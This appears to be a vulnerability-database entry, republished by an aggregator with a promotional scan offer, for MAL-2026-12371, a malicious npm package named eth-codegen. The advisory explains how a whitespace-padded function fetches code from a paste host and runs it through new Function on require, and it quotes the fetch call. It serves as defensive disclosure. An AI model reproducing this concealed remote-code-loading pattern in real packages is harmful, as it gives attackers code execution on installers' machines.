🛡️ MAL-2026-12371 — eth-codegen

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Malicious code in eth-codegen (npm)

Source: amazon-inspector

The package advertises itself as an Ethereum codegen utility but its actual contents are an unrelated mongoose leanhooks plugin plus a hidden dropper. index.js appends an async runHandler() concealed after ~1KB of whitespace padding following the module.exports = leanhooksPlugin; line. On require, runHandler() performs axios.get('https://www.jsonkeeper.com/b/VYFER'), then passes the response's cookie field to new Function('require',...) and invokes it with the installer's require. jsonkeeper.com is an anonymous, mutable paste host controlled by whoever created the paste, giving that party arbitrary code execution in the installer's Node process every time the package is imported. The whitespace concealment plus cover-story package name/description are deliberate evasion.

Affected software

MAL-2026-12371 is recorded against 1 package.

  • eth-codegen

Timeline and source

Published on 5 August 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

www.npmjs.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-08-05
Updated 2026-08-12
Modified 2026-08-05
Fix URL N/A

Affected Packages

Software From version Fixed in
eth-codegen

Free Vulnerability Check

Is your site affected by MAL-2026-12371?

BotEraser helps you identify potentially vulnerable plugins and themes by checking your installation against MAL-2026-12371 and other known CVE records.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.